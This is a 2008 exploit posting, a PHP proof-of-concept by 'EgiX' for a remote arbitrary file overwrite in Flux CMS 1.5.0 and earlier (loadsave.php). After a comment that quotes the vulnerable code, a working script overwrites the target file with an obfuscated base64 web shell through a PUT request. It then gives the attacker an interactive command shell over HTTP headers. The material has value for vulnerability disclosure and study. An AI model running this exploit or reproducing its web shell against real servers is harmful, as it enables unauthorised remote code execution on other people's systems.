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fluxcms-overwrite.txt

Posted on 10 June 2008

<?php

/*
------------------------------------------------------------------------
Flux CMS <= 1.5.0 (loadsave.php) Remote Arbitrary File Overwrite Exploit
------------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.flux-cms.org/

[-] vulnerable code in /webinc/bxe/scripts/loadsave.php

12.	header("Content-Type: text/html");
13.
14.	$xmlfile = realpath($_GET['XML']);

(...)

24.	$basedir = dirname(dirname(__FILE__));
25.
26.	if (strpos($xmlfile,$basedir) !== 0) {
27.	    die("you are not allowed to read/write this file (".$_GET['XML'].")");
28.	}
29.
30.	//If saving, then REQUEST METHOD is PUT
31.	// and we have to set the response code to 204
32.
33.	if ($_SERVER['REQUEST_METHOD'] == "PUT") {
34.	    $fd = fopen ($_GET['XML'], "w");
35.	    if ($fd) {
36.	        // read sent content
37.	        $content = file_get_contents("php://input");
38.	        //write content
39.	        fwrite($fd,$content);
40.	        fclose($fd);
41.	        //sent correct HTTP header
42.	        header("HTTP/1.1 204 No Content");
43.
44.	    } else {
45.	        die ("couldn't write to ".$_GET['XML']);
46.	    }
47.	}

an attacker might be able to overwrite an existing file with arbitrary raw POST data
this poc try to overwrite loadsave.php itself due to restrictions at lines 24-28
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "
[-] No response from ".$host.":80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

print "
+-------------------------------------------------------------------+";
print "
| Flux CMS <= 1.5.0 Remote Arbitrary File Overwrite Exploit by EgiX |";
print "
+-------------------------------------------------------------------+
";

if ($argc < 3)
{
print "
Usage.....: php $argv[0] host path
";
print "
Example...: php $argv[0] localhost /";
print "
Example...: php $argv[0] localhost /fluxcms/
";
die();
}

$host = $argv[1];
$path = $argv[2];

$payload = base64_decode(
"PD9waHAgDQppZiAoaXNzZXQoJF9TRVJWRVJbSFRUUF9CQUNLXSkpIHsJDQoJJGRhdGEgPQ0KCSJQRDl3YUhBS0x5b3FDaUIwYUds" .
"eklITmpjbWx3ZENCc2IyRmtjeUJoYm1RZ2MyRjJaWE1nV0UxTUlHUnZZM1Z0Wlc1MElIZHBkR2dnZEciIC4NCgkiaGxJR2hsYkhB" .
"Z2IyWWdVRWhRQ2dvZ2FXNGdlVzkxY2lCamIyNW1hV2N1ZUcxc0lIbHZkU0IzYjNWc1pDQjBhR1Z1SUhkeWFYUmxDaUFLIiAuDQoJ" .
"IklEeG1hV3hsSUc1aGJXVTlJa0pZWDNodGJHWnBiR1VpUGk5d1lYUm9MM1J2TDNsdmRYSXZiRzloWkhOaGRtVXVjR2h3UDFoTlRE" .
"MXdZWCIgLg0KCSJSb0wzUnZMMk52Ym5SbGJuUXVlRzFzUEM5bWFXeGxQZ29LSUc1bFpXUnpJRkJJVUNBMExqTWdiM0lnVUVoUUlE" .
"VXVJSE5wYldsc1lYSWciIC4NCgkiYVhNZ1lXeHpieUJ3YjNOemFXSnNaU0IzYVhSb0lGQklVQ0E4SURRdU13b3FMd29LYUdWaFpH" .
"VnlLQ0pEYjI1MFpXNTBMVlI1Y0dVNklIIiAuDQoJIlJsZUhRdmFIUnRiQ0lwT3dvS0pIaHRiR1pwYkdVZ1BTQnlaV0ZzY0dGMGFD" .
"Z2tYMGRGVkZzbldFMU1KMTBwT3dvdktpQjJaWEo1SUdOeSIgLg0KCSJkV1JsSUdGdVpDQnphVzF3YkdVZ2MyVmpkWEpwZEhrZ1ky" .
"aGxZMnNLQ2lBZ0lDQjNaU0JoYkd4dmR5QnZibXg1SUdsdVkyeDFjMmx2YmkiIC4NCgkiQnZaaUJtYVd4bGN5d2dkMmhwWTJnS0lD" .
"QWdJR0Z5WlNCemIyMWxkMmhsY21VZ2FXNGdkR2hsSUdScGNtVmpkRzl5ZVNCdmJtVWdiR1YyIiAuDQoJIlpXd0tJQ0FnSUdGaWIz" .
"WmxJSFJvYVhNZ2MyTnlhWEIwTGlCWmIzVWdhR0YyWlNCMGJ5QmphR0Z1WjJVZ2RHaHBjd29nSUNBZ2NuVnNaUyIgLg0KCSJ3Z2FX" .
"WWdlVzkxSUhkaGJuUWdkRzhnYVc1amJIVmtaU0JtY205dElITnZiV1YzYUdWeVpRb2dJQ0FnWld4elpTd2dZblYwSUcxaGEyVWci" .
"IC4NCgkiYzNWeVpTd2dhWFFnWTJGdUozUWdjbVZoWkNCaGJua2djMlZ1YzJsMGFYWmxDaUFnSUNCbWFXeGxjeTR1Q2lvdkNpUmlZ" .
"WE5sWkdseUlEIiAuDQoJIjBnWkdseWJtRnRaU2hrYVhKdVlXMWxLRjlmUmtsTVJWOWZLU2s3Q2dwcFppQW9jM1J5Y0c5ektDUjRi" .
"V3htYVd4bExDUmlZWE5sWkdseSIgLg0KCSJLU0FoUFQwZ01Da2dld29nSUNBZ1pHbGxLQ0o1YjNVZ1lYSmxJRzV2ZENCaGJHeHZk" .
"MlZrSUhSdklISmxZV1F2ZDNKcGRHVWdkR2hwY3kiIC4NCgkiQm1hV3hsSUNnaUxpUmZSMFZVV3lkWVRVd25YUzRpS1NJcE93cDlD" .
"Z292TDBsbUlITmhkbWx1Wnl3Z2RHaGxiaUJTUlZGVlJWTlVJRTFGIiAuDQoJIlZFaFBSQ0JwY3lCUVZWUUtMeThnWVc1a0lIZGxJ" .
"R2hoZG1VZ2RHOGdjMlYwSUhSb1pTQnlaWE53YjI1elpTQmpiMlJsSUhSdklESXdOQyIgLg0KCSJBS0NtbG1JQ2drWDFORlVsWkZV" .
"bHNuVWtWUlZVVlRWRjlOUlZSSVQwUW5YU0E5UFNBaVVGVlVJaWtnZXdvZ0lDQWdKR1prSUQwZ1ptOXciIC4NCgkiWlc0Z0tDUmZS" .
"MFZVV3lkWVRVd25YU3dnSW5jaUtUc0tJQ0FnSUdsbUlDZ2tabVFwSUhzS0lDQWdJQ0FnSUNBdkx5QnlaV0ZrSUhObGJuIiAuDQoJ" .
"IlFnWTI5dWRHVnVkQW9nSUNBZ0lDQWdJQ1JqYjI1MFpXNTBJRDBnWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW5Cb2NEb3ZMMmx1" .
"Y0hWMCIgLg0KCSJJaWs3Q2lBZ0lDQWdJQ0FnTHk5M2NtbDBaU0JqYjI1MFpXNTBDaUFnSUNBZ0lDQWdabmR5YVhSbEtDUm1aQ3dr" .
"WTI5dWRHVnVkQ2s3Q2kiIC4NCgkiQWdJQ0FnSUNBZ1ptTnNiM05sS0NSbVpDazdDaUFnSUNBZ0lDQWdMeTl6Wlc1MElHTnZjbkps" .
"WTNRZ1NGUlVVQ0JvWldGa1pYSUtJQ0FnIiAuDQoJIklDQWdJQ0JvWldGa1pYSW9Ja2hVVkZBdk1TNHhJREl3TkNCT2J5QkRiMjUw" .
"Wlc1MElpazdDaUFnSUNBZ0lDQWdDaUFnSUNCOUlHVnNjMiIgLg0KCSJVZ2V3b2dJQ0FnSUNBZ0lHUnBaU0FvSW1OdmRXeGtiaWQw" .
"SUhkeWFYUmxJSFJ2SUNJdUpGOUhSVlJiSjFoTlRDZGRLVHNLSUNBZ0lIMEsiIC4NCgkiZlNBS0x5OXZkR2hsY25kcGMyVWdhWFFu" .
"Y3lCcWRYTjBJR0VnWjJWMElGSkZVVlZGVTFRS1pXeHpaU0I3Q2lBZ0lDQndjbWx1ZENCbWFXIiAuDQoJInhsWDJkbGRGOWpiMjUw" .
"Wlc1MGN5Z2tYMGRGVkZzbldFMU1KMTBwT3dwOUNqOCsiOw0KCSRmZCA9IGZvcGVuKCJsb2Fkc2F2ZS5waHAiLCAidyIpOw0KCWZ3" .
"cml0ZSgkZmQsIGJhc2U2NF9kZWNvZGUoJGRhdGEpKTsNCiAgICBmY2xvc2UoJGZkKTsNCglleGl0KCk7DQp9DQoke3ByaW50KF9j" .
"b2RlXyl9LiR7cGFzc3RocnUoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKX0uJHtwcmludChfY29kZV8pfQ0KPz4=" );

$packet  = "PUT {$path}webinc/bxe/scripts/loadsave.php?XML=loadsave.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Content-Length: ".strlen($payload)."
";
$packet .= "Connection: close

";
$packet .= $payload;

if (!preg_match("/204 No Content/i", http_send($host, $packet))) die("
[-] Exploit failed...
");

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
print "
fluxcms-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}webinc/bxe/scripts/loadsave.php HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "Cmd: ".base64_encode($cmd)."
";
$packet.= "Connection: close

";
$output = http_send($host, $packet);
if (!preg_match("/_code_/", $output)) die("
[-] Exploit failed...
");
$shell = explode("_code_", $output);
print "
".$shell[1];
}
else break;
}

// backup the original script
$packet = "GET {$path}webinc/bxe/scripts/loadsave.php HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "Back:
";
$packet.= "Connection: close

";
http_send($host, $packet);

?>

 

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